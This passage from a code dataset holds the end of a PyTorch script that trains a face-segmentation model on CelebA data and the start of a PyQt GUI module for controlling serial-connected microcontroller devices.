default=0.5, help='beta1 for Adam')\n parser.add_argument('--beta2', type=float, default=0.999, help='beta2 for Adam')\n\n # model definition\n parser.add_argument('--model', type=str, default='resnet50', \n choices=['resnet50', 'resnet50x2', 'resnet50x4', 'hourglass',\n 'resnet18', 'resnet34', 'resnet101', 'resnet152'])\n parser.add_argument('--segmodel', type=str, default='fcn', \n choices=['fcn', 'UNet'])\n\n parser.add_argument('--trained_model_path', type=str, default=None, help='pretrained backbone')\n parser.add_argument('--layer', type=int, default=3, help='resnet layers')\n\n\n # model path and name \n parser.add_argument('--model_name', type=str, default=\"face_model\") # moco_version, network, input_size, crop_size\n parser.add_argument('--model_path', type=str, default=\"./512_faces_celeba\") # path to store the models\n\n # resume\n parser.add_argument('--resume', default='', type=str, metavar='PATH',\n help='path to latest checkpoint (default: none)')\n\n parser.add_argument('--image_size', type=int, default=512, help='image size') # image preprocessing\n parser.add_argument('--generate', action='store_true', help='generate dataset for deeplab')\n parser.add_argument('--gen_path', type=str, default=None)\n\n # add BN\n parser.add_argument('--bn', action='store_true', help='use parameter-free BN')\n parser.add_argument('--cosine', action='store_true', help='use cosine annealing')\n parser.add_argument('--multistep', action='store_true', help='use multistep LR')\n parser.add_argument('--adam', action='store_true', help='use adam optimizer')\n parser.add_argument('--amsgrad', action='store_true', help='use amsgrad for adam')\n\n\n # GPU setting\n parser.add_argument('--gpu', default=None, type=int, help='GPU id to use.')\n\n # log_path\n parser.add_argument('--log_path', default='log_tmp', type=str, metavar='PATH', help='path to the log file')\n\n # use hypercolumn or single layer output\n parser.add_argument('--use_hypercol', action='store_true', help='use hypercolumn as representations')\n\n opt = parser.parse_args()\n\n\n\n\n opt.save_path = opt.model_path\n opt.tb_path = '%s_tensorboard' % opt.model_path\n\n Tee(opt.log_path, 'a')\n\n iterations = opt.lr_decay_epochs.split(',')\n opt.lr_decay_epochs = list([])\n for it in iterations:\n opt.lr_decay_epochs.append(int(it))\n\n opt.tb_folder = os.path.join(opt.tb_path, opt.model_name)\n if not os.path.isdir(opt.tb_folder):\n os.makedirs(opt.tb_folder)\n\n opt.save_folder = os.path.join(opt.save_path, opt.model_name)\n if not os.path.isdir(opt.save_folder):\n os.makedirs(opt.save_folder)\n\n return opt\n\n\ndef main():\n\n global best_error\n best_error = np.Inf\n\n args = parse_option()\n\n if args.gpu is not None:\n print(\"Use GPU: {} for training\".format(args.gpu))\n\n train_loader_fn = Data_Loader(img_path='./DatasetGAN_data/annotation/training_data/face_processed/',\n label_path='./DatasetGAN_data/annotation/training_data/face_processed/',\n image_size=args.image_size, \n batch_size=args.batch_size,\n mode=True)\n val_loader_fn = Data_Loader(img_path='./DatasetGAN_data/annotation/testing_data/face_34_class/',\n label_path='./DatasetGAN_data/annotation/testing_data/face_34_class/',\n image_size=args.image_size, \n batch_size=args.batch_size,\n mode=False)\n\n\n train_sampler = None\n\n train_loader = train_loader_fn.loader()\n val_loader = val_loader_fn.loader()\n\n # create model and optimizer\n input_size = args.image_size \n pool_size = int(input_size / 2**5) \n\n if args.model == 'resnet50':\n model = InsResNet50(pool_size=pool_size)#, pretrained=True)\n desc_dim = {1:64, 2:256, 3:512, 4:1024, 5:2048}\n elif args.model == 'resnet50x2':\n model = InsResNet50(width=2, pool_size=pool_size)\n desc_dim = {1:128, 2:512, 3:1024, 4:2048, 5:4096}\n elif args.model == 'resnet50x4':\n model = InsResNet50(width=4, pool_size=pool_size)\n desc_dim = {1:512, 2:1024, 3:2048, 4:4096, 5:8192}\n elif args.model == 'resnet18':\n model = InsResNet18(width=1, pool_size=pool_size)\n desc_dim = {1:64, 2:64, 3:128, 4:256, 5:512}\n elif args.model == 'resnet34':\n model = InsResNet34(width=1, pool_size=pool_size)\n desc_dim = {1:64, 2:64, 3:128, 4:256, 5:512}\n elif args.model == 'resnet101':\n model = InsResNet101(width=1, pool_size=pool_size)\n desc_dim = {1:64, 2:256, 3:512, 4:1024, 5:2048}\n elif args.model == 'resnet152':\n model = InsResNet152(width=1, pool_size=pool_size)\n desc_dim = {1:64, 2:256, 3:512, 4:1024, 5:2048}\n elif args.model == 'hourglass':\n model = HourglassNet()\n else:\n raise NotImplementedError('model not supported {}'.format(args.model))\n\n\n if args.model == 'hourglass':\n feat_dim = 64\n else:\n if args.use_hypercol:\n feat_dim = 0\n for i in range(args.layer):\n feat_dim += desc_dim[5-i]\n else:\n feat_dim = desc_dim[args.layer]\n\n if args.segmodel=='fcn':\n segmentor = fcn(feat_dim, n_classes=34)\n else:\n segmentor = UNet(feat_dim, n_classes=34)\n\n \n print('==> loading pre-trained model')\n ckpt = torch.load(args.trained_model_path, map_location='cpu')\n state_dict = ckpt['model']\n\n for key in list(state_dict.keys()):\n state_dict[key.replace('module.encoder', 'encoder.module')] = state_dict.pop(key)\n\n model.load_state_dict(state_dict, strict=False)\n print('==> done')\n\n segmentor.init_weights()\n\n model = model.cuda()\n segmentor = segmentor.cuda()\n\n if args.generate==True:\n checkpoint = torch.load(args.resume, map_location='cpu')\n model.load_state_dict(checkpoint['model'], strict=False) \n segmentor.load_state_dict(checkpoint['segmentor'])\n\n images_togen = []\n img_path_base = './CelebAMask-HQ/train_img/'\n\n for i in range(len([name for name in os.listdir(img_path_base) if os.path.isfile(os.path.join(img_path_base, name))])):\n img_path = os.path.join(img_path_base, str(i)+'.jpg')\n images_togen.append(img_path)\n if i==10000:\n break\n gen_data = ImageLabelDataset(img_path_list=images_togen,\n img_size=(args.image_size, args.image_size))\n if not os.path.isdir(args.gen_path):\n os.mkdir(args.gen_path)\n model.eval()\n segmentor.eval() \n gen_data = DataLoader(gen_data, batch_size=1, shuffle=False, num_workers=16)\n with torch.no_grad():\n for idx, (input, im_path) in enumerate(gen_data): \n input = input.cuda()\n input = input.float()\n # compute output\n feat = model(input, args.layer, args.use_hypercol, (512,512))\n feat = feat.detach()\n output = segmentor(feat)\n output = output.detach()\n label_out = torch.nn.functional.log_softmax(output,dim=1)\n label_out = label_out.view(1, 34, 512, 512)\n label = label_out[0]\n label = label.data.max(0)[1].cpu().numpy()\n cv2.imwrite(os.path.join(args.gen_path, str(idx) +'.png'), label)\n if idx%100==0:\n print('Processed '+str(idx)+'/'+str(10000)) \n return\n\n criterion = cross_entropy2d\n\n if not args.adam:\n optimizer = torch.optim.SGD(segmentor.parameters(),\n lr=args.learning_rate,\n momentum=args.momentum,\n weight_decay=args.weight_decay)\n else:\n optimizer = torch.optim.Adam(segmentor.parameters(),\n lr=args.learning_rate,\n betas=(args.beta1, args.beta2),\n weight_decay=args.weight_decay,\n eps=1e-8,\n amsgrad=args.amsgrad)\n model.eval()\n cudnn.benchmark = True\n\n # optionally resume from a checkpoint\n args.start_epoch = 1\n if args.resume:\n if os.path.isfile(args.resume):\n print(\"=> loading checkpoint '{}'\".format(args.resume))\n checkpoint = torch.load(args.resume, map_location='cpu')\n # checkpoint = torch.load(args.resume)\n args.start_epoch = checkpoint['epoch'] + 1\n segmentor.load_state_dict(checkpoint['segmentor'])\n optimizer.load_state_dict(checkpoint['optimizer'])\n best_error = checkpoint['best_error']\n # best_error = best_error.cuda()\n print(\"=> loaded checkpoint '{}' (epoch {})\"\n .format(args.resume, checkpoint['epoch']))\n if 'opt' in checkpoint.keys():\n # resume optimization hyper-parameters\n print('=> resume hyper parameters')\n if 'bn' in vars(checkpoint['opt']):\n print('using bn: ', checkpoint['opt'].bn)\n if 'adam' in vars(checkpoint['opt']):\n print('using adam: ', checkpoint['opt'].adam)\n if 'cosine' in vars(checkpoint['opt']):\n print('using cosine: ', checkpoint['opt'].cosine)\n args.learning_rate = checkpoint['opt'].learning_rate\n # args.lr_decay_epochs = checkpoint['opt'].lr_decay_epochs\n args.lr_decay_rate = checkpoint['opt'].lr_decay_rate\n args.momentum = checkpoint['opt'].momentum\n args.weight_decay = checkpoint['opt'].weight_decay\n args.beta1 = checkpoint['opt'].beta1\n args.beta2 = checkpoint['opt'].beta2\n del checkpoint\n torch.cuda.empty_cache()\n else:\n print(\"=> no checkpoint found at '{}'\".format(args.resume))\n\n # set cosine annealing scheduler\n if args.cosine:\n\n eta_min = args.learning_rate * (args.lr_decay_rate ** 3) * 0.1\n scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer, args.epochs, eta_min, -1)\n # dummy loop to catch up with current epoch\n for i in range(1, args.start_epoch):\n scheduler.step()\n elif args.multistep:\n scheduler = optim.lr_scheduler.MultiStepLR(optimizer, milestones=[100, 250], gamma=0.1)\n # dummy loop to catch up with current epoch\n for i in range(1, args.start_epoch):\n scheduler.step()\n\n # tensorboard\n logger = tb_logger.Logger(logdir=args.tb_folder, flush_secs=2)\n train_loss_list = []\n test_loss_list = []\n\n\n # routine\n for epoch in range(args.start_epoch, args.epochs + 1):\n\n if args.cosine or args.multistep:\n scheduler.step()\n else:\n adjust_learning_rate(epoch, args, optimizer)\n print(\"==> training...\")\n\n time1 = time.time()\n train_loss = train(epoch, train_loader, model, segmentor, criterion, optimizer, args)\n time2 = time.time()\n print('train epoch {}, total time {:.2f}'.format(epoch, time2 - time1))\n\n # logger.log_value('InterOcularError', InterOcularError, epoch)\n train_loss_list.append(train_loss)\n logger.log_value('train_loss', train_loss, epoch)\n logger.log_value('learning_rate', optimizer.param_groups[0]['lr'], epoch)\n\n print(\"==> testing...\")\n test_loss = validate(val_loader, model, segmentor, criterion, args)\n\n test_loss_list.append(test_loss)\n\n # logger.log_value('Test_InterOcularError', test_InterOcularError, epoch)\n logger.log_value('test_loss', test_loss, epoch) \n\n # save the best model\n if test_loss < best_error:\n best_error = test_loss\n state = {\n 'opt': args,\n 'epoch': epoch,\n 'model': model.state_dict(),\n 'segmentor': segmentor.state_dict(),\n 'best_error': best_error,\n 'optimizer': optimizer.state_dict(),\n }\n save_name = '{}.pth'.format(args.model)\n save_name = os.path.join(args.save_folder, save_name)\n print('saving best model!')\n torch.save(state, save_name)\n\n # save model\n if epoch % args.save_freq == 0:\n print('==> Saving...')\n state = {\n 'opt': args,\n 'epoch': epoch,\n 'segmentor': segmentor.state_dict(),\n 'best_error': test_loss,\n 'optimizer': optimizer.state_dict(),\n }\n save_name = 'ckpt_epoch_{epoch}.pth'.format(epoch=epoch)\n save_name = os.path.join(args.save_folder, save_name)\n print('saving regular model!')\n torch.save(state, save_name)\n\n # tensorboard logger\n pass\n\n x=range(len(train_loss_list))\n\n plt.plot(x, train_loss_list, label = \"train loss\")\n plt.plot(x, test_loss_list, label = \"test loss\")\n plt.xlabel('epochs')\n plt.ylabel('loss')\n\n plt.savefig(os.path.join(args.save_folder,'loss_curve.png'))\n\n\ndef set_lr(optimizer, lr):\n \"\"\"\n set the learning rate\n \"\"\"\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\n\ndef train(epoch, train_loader, model, segmentor, criterion, optimizer, opt):\n \"\"\"\n one epoch training\n \"\"\"\n\n model.eval()\n segmentor.train()\n\n batch_time = AverageMeter()\n data_time = AverageMeter()\n losses = AverageMeter()\n # InterOcularError = AverageMeter()\n\n end = time.time()\n for idx, (input, target) in enumerate(train_loader):\n # measure data loading time\n data_time.update(time.time() - end)\n\n input = input.cuda(opt.gpu, non_blocking=True)\n input = input.float()\n target = target.cuda(opt.gpu, non_blocking=True)\n\n # ===================forward=====================\n with torch.no_grad():\n feat = model(input, opt.layer, opt.use_hypercol, (512,512))\n feat = feat.detach()\n\n output = segmentor(feat)\n loss = criterion(output, target)\n\n if idx == 0:\n print('Layer:{0}, shape of input:{1}, feat:{2}, output:{3}'.format(opt.layer, \n input.size(), feat.size(), output.size()))\n\n losses.update(loss.item(), input.size(0))\n\n # ===================backward=====================\n \n loss.backward()\n\n optimizer.step()\n optimizer.zero_grad()\n\n # ===================meters=====================\n batch_time.update(time.time() - end)\n end = time.time()\n\n # print info\n if idx % opt.print_freq == 0:\n print('Epoch: [{0}][{1}/{2}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'.format(\n epoch, idx, len(train_loader), batch_time=batch_time,\n data_time=data_time, loss=losses))#, InterOcularError=InterOcularError))\n sys.stdout.flush()\n\n return losses.avg\n\n\ndef validate(val_loader, model, segmentor, criterion, opt):\n batch_time = AverageMeter()\n losses = AverageMeter()\n\n # switch to evaluate mode\n model.eval()\n segmentor.eval()\n\n with torch.no_grad():\n end = time.time()\n for idx, (input, target) in enumerate(val_loader):\n if opt.gpu is not None:\n input = input.cuda(opt.gpu, non_blocking=True)\n input = input.float()\n target = target.cuda(opt.gpu, non_blocking=True)\n\n # compute output\n feat = model(input, opt.layer, opt.use_hypercol, (512,512))\n feat = feat.detach()\n\n output = segmentor(feat)\n loss = criterion(output, target)\n\n losses.update(loss.item(), input.size(0))\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n if idx % opt.print_freq == 0:\n print('Test: [{0}/{1}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'.format(\n idx, len(val_loader), batch_time=batch_time, loss=losses))\n\n return losses.avg\n\n\nif __name__ == '__main__':\n best_error = np.Inf\n main()\n","repo_name":"oindrilasaha/GANorCON","sub_path":"train_face_seg.py","file_name":"train_face_seg.py","file_ext":"py","file_size_in_byte":19166,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"21979472301","text":"from warnings import warn\ntry:\n import pyqtgraph as pg\n from pyqtgraph.Qt import QtWidgets, QtCore, QtGui\nexcept ImportError:\n raise RuntimeError(\"ublock.app submodule is disabled; install the 'pyqtgraph' module to use it.\")\n\nimport os\nfrom datetime import datetime\nfrom collections import OrderedDict\nfrom traceback import print_exc\nfrom serial.tools import list_ports\n\nfrom .core import client, protocol, eventhandler, loop, loophandler\nfrom .model import StatusPlot, ArrayPlot\n\nmainapp = QtGui.QApplication([])\n\n# used only for debugging via the console\n# to be removed some time in the future\ndebug = False\n\nclass SerialIO(QtWidgets.QWidget, eventhandler):\n \"\"\"GUI widget for managing a serial connection.\n\n This class implements `eventhandler`, and converts\n the handler methods to Qt signals.\n\n You can also change the `handler` to another `eventhandler` object,\n using the keyword argument in the initializer.\n\n `serialclient` in the initializer command can be\n any callable that takes the \"handler\" option as the\n keyword argument e.g. `client.Uno`.\n Any extra keyword arguments passed as `**kwargs` will be\n used when calling `serialclient()`.\n\n The SerialIO class is designed so that the user has the\n control over selecting/opening/closing the serial port.\n The classes that communicates over the serial port\n are supposed to `connect` their slots with SerialIO's\n `xxxReceived` signal(s), and by calling SerialIO's\n `request(line)` method (which is inherited from `baseclient`).\n \"\"\"\n\n selectionChanged = QtCore.pyqtSignal(str)\n serialClosed = QtCore.pyqtSignal()\n serialStatusChanged = QtCore.pyqtSignal(bool)\n\n messageReceived = QtCore.pyqtSignal(str)\n debugMessageReceived = QtCore.pyqtSignal(str)\n infoMessageReceived = QtCore.pyqtSignal(str)\n configMessageReceived = QtCore.pyqtSignal(str)\n configElementReceived = QtCore.pyqtSignal(str)\n resultMessageReceived = QtCore.pyqtSignal(str)\n errorMessageReceived = QtCore.pyqtSignal(str)\n outputMessageReceived = QtCore.pyqtSignal(str)\n rawMessageReceived = QtCore.pyqtSignal(str)\n\n def __init__(self, serialclient=client.Leonardo, handler=None,\n label=\"Port: \", acqByResp=True, parent=None, **kwargs):\n super(QtWidgets.QWidget, self).__init__(parent=parent)\n super(eventhandler, self).__init__()\n\n mainapp.aboutToQuit.connect(self.closePort)\n self.portEnumerator = QtWidgets.QComboBox()\n self.enumeratePorts()\n self.portEnumerator.currentIndexChanged.connect(self.updateSelection)\n self.label = QtWidgets.QLabel(label)\n self.connector = ConnectorButton(self)\n\n self.serialclient = serialclient # the \"function\" that is used to open serial port\n self.clientkw = kwargs # the arguments used to call \"handler\"\n self.clientkw['handler'] = self if handler is None else handler\n\n self.acqByResp = acqByResp\n self.io = None\n self.reader = None\n self.active = False # whether or not this IO is \"connected\"\n\n layout = QtWidgets.QHBoxLayout()\n self.setLayout(layout)\n layout.addWidget(self.label)\n layout.addWidget(self.portEnumerator)\n layout.addWidget(self.connector)\n\n def __setattr__(self, name, value):\n if name == 'active':\n super().__setattr__(\"_active\", value)\n self.portEnumerator.setEnabled(not value)\n self.serialStatusChanged.emit(value)\n else:\n super().__setattr__(name, value)\n\n def __getattr__(self, name):\n if name == 'active':\n return super().__getattr__(\"_active\")\n else:\n return super().__getattr__(name)\n\n def openPort(self, addr):\n self.io = self.serialclient(addr, **self.clientkw)\n self.active = True\n\n def closePort(self):\n if self.io is not None:\n self.io.close()\n self.io = None\n self.serialClosed.emit()\n self.active = False\n\n def enumeratePorts(self):\n \"\"\"(re-)enumerate serial ports\"\"\"\n ports = list_ports.comports()\n self.portEnumerator.clear()\n self.ports = []\n for port in ports:\n if 'Bluetooth' in str(port.device):\n continue\n self.ports.append(port)\n self.portEnumerator.addItem(\"{0.device} ({0.description})\".format(port))\n self.portEnumerator.insertSeparator(len(self.ports))\n self.portEnumerator.addItem(\"Re-enumerate\")\n if len(self.ports) > 0:\n self.selectedPort = self.ports[0]\n\n @QtCore.pyqtSlot(int)\n def updateSelection(self, idx):\n if debug == True:\n print(f\"selected: {idx}\")\n if idx > len(self.ports):\n # re-enumerate command\n self.enumeratePorts()\n elif idx < 0:\n # try doing nothing\n pass\n else:\n self.selectedPort = self.ports[idx]\n self.selectionChanged.emit(self.selectedPort.device)\n\n def toggleConnection(self, value):\n if value == True:\n self.openPort(self.selectedPort.device)\n else:\n self.closePort()\n\n def request(self, line):\n \"\"\"sends a line of command (not having the newline character(s))\n through the serial port.\"\"\"\n if self.io is not None:\n self.io.request(line)\n\n def connected(self, client):\n \"\"\"re-implementing eventhandler's `connected`\"\"\"\n # self.serialStatusChanged.emit(True)\n # above signal must have been already emitted\n pass\n\n def received(self, line):\n \"\"\"re-implementing eventhandler's `received`\"\"\"\n self.messageReceived.emit(line)\n\n def debug(self, line):\n \"\"\"re-implementing eventhandler's `debug`\"\"\"\n self.debugMessageReceived.emit(line)\n\n def info(self, line):\n \"\"\"re-implementing eventhandler's `info`\"\"\"\n self.infoMessageReceived.emit(line)\n\n def config(self, line):\n \"\"\"re-implementing eventhandler's `config`\"\"\"\n self.configMessageReceived.emit(line)\n elems = [v.strip() for v in line[1:].split(\";\") if len(v.strip()) > 0]\n for elem in elems:\n self.configElementReceived.emit(elem)\n\n def result(self, line):\n \"\"\"re-implementing eventhandler's `result`\"\"\"\n self.resultMessageReceived.emit(line)\n\n def error(self, line):\n \"\"\"re-implementing eventhandler's `error`\"\"\"\n self.errorMessageReceived.emit(line)\n\n def output(self, line):\n \"\"\"re-implementing eventhandler's `output`\"\"\"\n self.outputMessageReceived.emit(line)\n\n def message(self, line):\n \"\"\"re-implementing eventhandler's `message`\"\"\"\n self.rawMessageReceived.emit(line)\n\nclass ConnectorButton(QtWidgets.QPushButton):\n \"\"\"the button that commands the SerialIO to open/close the connection.\n its `delegate` must have the `toggleConnection` method and the\n `serialStatusChanged` signal.\"\"\"\n\n statusChanged = QtCore.pyqtSignal(bool)\n\n def __init__(self, delegate, parent=None):\n super().__init__(parent=parent)\n self.setText(\"Connect\")\n self.clicked.connect(self.dispatchCommand)\n self.statusChanged.connect(delegate.toggleConnection)\n delegate.serialStatusChanged.connect(self.toggleText)\n\n def dispatchCommand(self):\n if self.text() == \"Connect\":\n self.statusChanged.emit(True)\n else:\n self.statusChanged.emit(False)\n\n def toggleText(self, value):\n self.setText(\"Connect\" if value == False else \"Disconnect\")\n\ndef HorizontalSeparator():\n line = QtWidgets.QFrame()\n line.setFrameStyle(QtWidgets.QFrame.HLine | QtWidgets.QFrame.Sunken)\n return line\n\nclass LineConfigUI(QtCore.QObject):\n configValueChanged = QtCore.pyqtSignal(str)\n\n def __init__(self, label, command, parent=None):\n super().__init__(parent=parent)\n self.editor = QtWidgets.QLineEdit()\n self.label = QtWidgets.QLabel(label)\n self.command = command\n self.editor.editingFinished.connect(self.dispatchRequest)\n self.setEnabled(False)\n\n def setEnabled(self, value):\n self.editor.setEnabled(value)\n self.label.setEnabled(value)\n\n def setSerialIO(self, serial, output=True):\n \"\"\"connects this configUI to a SerialIO.\n\n output: whether or not to connect update events to SerialIO.\n \"\"\"\n if output == True:\n self.configValueChanged.connect(serial.request)\n serial.configElementReceived.connect(self.updateConfigValue)\n serial.serialStatusChanged.connect(self.setEnabled)\n\n def dispatchRequest(self):\n self.configValueChanged.emit(self.command + self.editor.text())\n\n def updateConfigValue(self, msg):\n if msg.startswith(self.command):\n self.editor.setText(msg[len(self.command):])\n\nclass ModeConfigUI(QtWidgets.QComboBox):\n # emitted when the user changed the selection\n configValueChanged = QtCore.pyqtSignal(str)\n\n # emitted when SerialIO returns a mode selection\n currentModeChanged = QtCore.pyqtSignal(str)\n\n def __init__(self, options, parent=None):\n \"\"\"options -- {modestr: modecmd} dict\"\"\"\n super().__init__(parent=parent)\n self.loadOptions(options)\n self.setEnabled(False)\n\n def setSerialIO(self, serial, output=True):\n \"\"\"connects this configUI to a SerialIO.\n\n output: whether or not to connect update events to SerialIO.\n \"\"\"\n if output == True:\n self.configValueChanged.connect(serial.request)\n serial.configElementReceived.connect(self.updateConfigValue)\n serial.serialStatusChanged.connect(self.setEnabled)\n serial.errorMessageReceived.connect(self.updateWithError)\n\n def loadOptions(self, options):\n self._options = options\n self._abbreviations = ''.join(opt.command for opt in options.values())\n for opt in options.keys():\n self.addItem(opt)\n self.setCurrentIndex(0)\n self.currentIndexChanged.connect(self.updateWithSelection)\n # wait for the config to be loaded first\n # through from the serial port\n self.valueChanging = True\n\n @QtCore.pyqtSlot(int)\n def updateWithSelection(self, idx):\n if self.valueChanging == False:\n self.valueChanging = True\n self.configValueChanged.emit(self._abbreviations[idx])\n else:\n pass\n\n def updateConfigValue(self, msg):\n if all(c in msg for c in self._abbreviations):\n idx = msg.index(']') - 2\n # print(\"mode config: {} (index={})\".format(msg, idx))\n self.setCurrentIndex(idx)\n self.currentModeChanged.emit(self.currentText())\n self.prevIndex = idx\n self.valueChanging = False\n\n def updateWithError(self, msg):\n if self.valueChanging == True:\n self.setCurrentIndex(self.prevIndex)\n self.valueChanging = False\n\nclass NoteUI(QtWidgets.QGroupBox):\n runningNoteAdded = QtCore.pyqtSignal(str)\n\n def __init__(self, parent=None):\n super().__init__(\"Running note\", parent=parent)\n self.histo = QtWidgets.QLabel(\"\")\n self.editor = QtWidgets.QLineEdit()\n self.button = QtWidgets.QPushButton(\"Apply\")\n\n self.editor.returnPressed.connect(self.applyNote)\n self.button.clicked.connect(self.applyNote)\n self.runningNoteAdded.connect(self.updateHistory)\n\n rows = QtWidgets.QVBoxLayout()\n self.setLayout(rows)\n rows.addWidget(self.histo)\n form = QtWidgets.QHBoxLayout()\n form.addWidget(self.editor)\n form.addWidget(self.button)\n rows.addLayout(form)\n\n def updateHistory(self, line):\n self.histo.setText(line[len(protocol.DEBUG):])\n\n def applyNote(self):\n content = self.editor.text().strip()\n if len(content) > 0:\n self.runningNoteAdded.emit(protocol.DEBUG + content)\n self.editor.setText(\"\")\n\nclass ActionUI(QtWidgets.QPushButton):\n \"\"\"the GUI class for managing an action (that does not accept any repeats)\"\"\"\n activated = QtCore.pyqtSignal(str)\n\n def __init__(self, label, command, returns='result', criteria=None,\n strict=None, parent=None):\n \"\"\"currently `strict` has no effect\"\"\"\n QtWidgets.QPushButton.__init__(self, label, parent=parent)\n self.command = command\n if not returns in ('result', 'config'):\n print(\"*unknown return type for {}: {}\".format(label, returns))\n returns = None\n self.returns = returns\n if criteria is not None:\n if callable(criteria):\n self.evaluate = criteria\n else:\n print(f\"***criteria '{criteria}' is not callable and hence disabled. try using ublock.testResult()\", flush=True)\n\n self.label = label\n self.waiting = False\n self.clicked.connect(self.dispatchCommand)\n self.setEnabled(False)\n\n def setSerialIO(self, serial, output=True):\n \"\"\"connects this ActionUI to a SerialIO.\n\n output: whether or not to connect update events to SerialIO.\n \"\"\"\n if output == True:\n self.activated.connect(serial.request)\n if self.returns is not None:\n if self.returns == 'result':\n serial.resultMessageReceived.connect(self.checkResults)\n elif self.returns == 'config':\n serial.configMessageReceived.connect(self.checkResults)\n serial.serialStatusChanged.connect(self.setEnabled)\n\n def dispatchCommand(self):\n self.activated.emit(self.command)\n self.waiting = True\n self.setEnabled(False)\n\n def checkResults(self, msg):\n if self.evaluate(msg) == True:\n if self.waiting == True:\n self.waiting = False\n self.setEnabled(True)\n\n def evaluate(self, result):\n return True\n\nclass RepeatUI(QtWidgets.QWidget, loophandler):\n \"\"\"the GUI class for managing repeat number\"\"\"\n dispatchingRequest = QtCore.pyqtSignal(str)\n repeatStarting = QtCore.pyqtSignal(str, int, int)\n repeatEnding = QtCore.pyqtSignal(str, int, int)\n\n def __init__(self, label, command, header='Repeat',\n returns='result', criteria=None, strict=None,\n parent=None, interval=0):\n QtWidgets.QWidget.__init__(self, parent=parent)\n loophandler.__init__(self)\n self.loop = loop(command, 1, io=self, interval=interval, handler=self)\n self.loopthread = None\n\n if not returns in ('result', 'config'):\n print(\"*unknown return type for {}: {}\".format(label, returns))\n returns = None\n self.returns = returns\n self.strict = strict\n if criteria is not None:\n if callable(criteria):\n self.evaluate = criteria\n else:\n print(f\"***criteria '{criteria}' is not callable and hence disabled. try using ublock.testResult()\", flush=True)\n\n self.header = QtWidgets.QLabel(header)\n self.editor = QtWidgets.QLineEdit()\n self.editor.setText(str(1))\n self.editor.editingFinished.connect(self.parseValue)\n self.button = QtWidgets.QPushButton(label)\n self.button.clicked.connect(self.runRepeat)\n self.buttonLabel = self.button.text()\n self.status = QtWidgets.QLabel()\n if self.strict is not None:\n self.strictcheck = QtWidgets.QCheckBox(f\"Use strict mode for \\\"{label}\\\"\")\n self.strictcheck.setChecked(False)\n self.strictmode = False\n self.strictcheck.toggled.connect(self.setStrictMode)\n else:\n self.strictmode = None\n\n self.control = QtWidgets.QHBoxLayout()\n self.control.addWidget(self.header)\n self.control.addWidget(self.editor)\n self.control.addWidget(self.button)\n self.layout = QtWidgets.QGridLayout()\n self.layout.addWidget(self.status,0,0)\n self.layout.addLayout(self.control,0,1)\n if self.strictmode is not None:\n self.layout.addWidget(self.strictcheck, 1,1,\n alignment=QtCore.Qt.AlignRight)\n self.layout.setColumnStretch(0,2)\n self.layout.setColumnStretch(1,5)\n self.setLayout(self.layout)\n self.setEnabled(False)\n # TODO need a mechanism to allow action group\n\n def setStrictMode(self, val):\n self.strictmode = val\n\n def setSerialIO(self, serial, output=True):\n \"\"\"connects this configUI to a SerialIO.\n\n output: whether or not to connect update events to SerialIO.\n \"\"\"\n serial.serialStatusChanged.connect(self.setEnabled)\n if self.returns is not None:\n if self.returns == 'result':\n serial.resultMessageReceived.connect(self.updateWithMessage)\n elif self.returns == 'config':\n serial.configMessageReceived.connect(self.updateWithMessage)\n if output == True:\n self.dispatchingRequest.connect(serial.request)\n\n def setButtonLabel(self, text):\n self.button.setText(text)\n self.buttonLabel = text\n\n def setHeaderLabel(self, text):\n self.header.setText(text)\n\n def setEnabled(self, value):\n self.header.setEnabled(value)\n self.button.setEnabled(value)\n self.editor.setEnabled(value)\n self.status.setEnabled(value)\n if self.strict is not None:\n self.strictcheck.setEnabled(value)\n if self.loopthread is None:\n self.status.setText(\"\")\n\n def parseValue(self):\n try:\n self.loop.number = int(self.editor.text())\n except ValueError:\n # TODO\n print(\"***invalid input: \"+self.editor.text())\n self.editor.setText(str(self.loop.number))\n\n def runRepeat(self):\n self.parseValue()\n if self.loopthread is None:\n # start loop\n self.loopthread = self.loop.start()\n else:\n self.loop.abort()\n self.button.setText(\"Aborting...\")\n self.button.setEnabled(False)\n\n def updateWithMessage(self, line):\n if self.loopthread is not None:\n self.loop.updateWithMessage(line)\n\n def request(self, line):\n self.dispatchingRequest.emit(line)\n\n def evaluate(self, resultline):\n if self.strictmode == True:\n return any(resultline[1:].startswith(status) for status in self.strict)\n else:\n return True\n\n def starting(self, cmd, num, idx):\n self.button.setText(\"Abort\")\n self.repeatStarting.emit(cmd, num, idx)\n self.status.setText(f\"Running: {idx+1} of {num}...\")\n\n def done(self, cmd, planned, actual):\n self.button.setText(self.buttonLabel)\n self.loopthread = None\n self.status.setText(f\"Done: {actual} of {planned}.\")\n self.repeatEnding.emit(cmd, planned, actual)\n self.button.setEnabled(True)\n\nclass RawCommandUI(QtWidgets.QWidget):\n \"\"\"a widget class that provides functionality to send\n a line of command out to the device.\"\"\"\n\n dispatchingRequest = QtCore.pyqtSignal(str)\n\n def __init__(self, label=None, parent=None):\n QtWidgets.QWidget.__init__(self, parent=None)\n if label is None:\n label = \"Send command\"\n self.editor = QtWidgets.QLineEdit()\n self.button = QtWidgets.QPushButton(label)\n self.layout = QtWidgets.QHBoxLayout()\n self.layout.addWidget(self.editor)\n self.layout.addWidget(self.button)\n self.setLayout(self.layout)\n\n self.button.clicked.connect(self.dispatch)\n self.editor.returnPressed.connect(self.dispatch)\n\n def setSerialIO(self, serial, output=True):\n serial.serialStatusChanged.connect(self.setEnabled)\n if output == True:\n self.dispatchingRequest.connect(serial.request)\n\n def setEnabled(self, value):\n self.editor.setEnabled(value)\n self.button.setEnabled(value)\n\n def dispatch(self):\n line = self.editor.text().strip()\n if len(line) > 0:\n self.dispatchingRequest.emit(line)\n self.editor.setText(\"\")\n\nclass ResultParser(QtCore.QObject):\n \"\"\"helps parsing the result messages.\n you can initialize with:\n\n + status -- str-only token\n + value -- (str, int) token\n + array -- (str, [int]) token\n \"\"\"\n beginParsing = QtCore.pyqtSignal()\n endParsing = QtCore.pyqtSignal()\n resultStatusReceived = 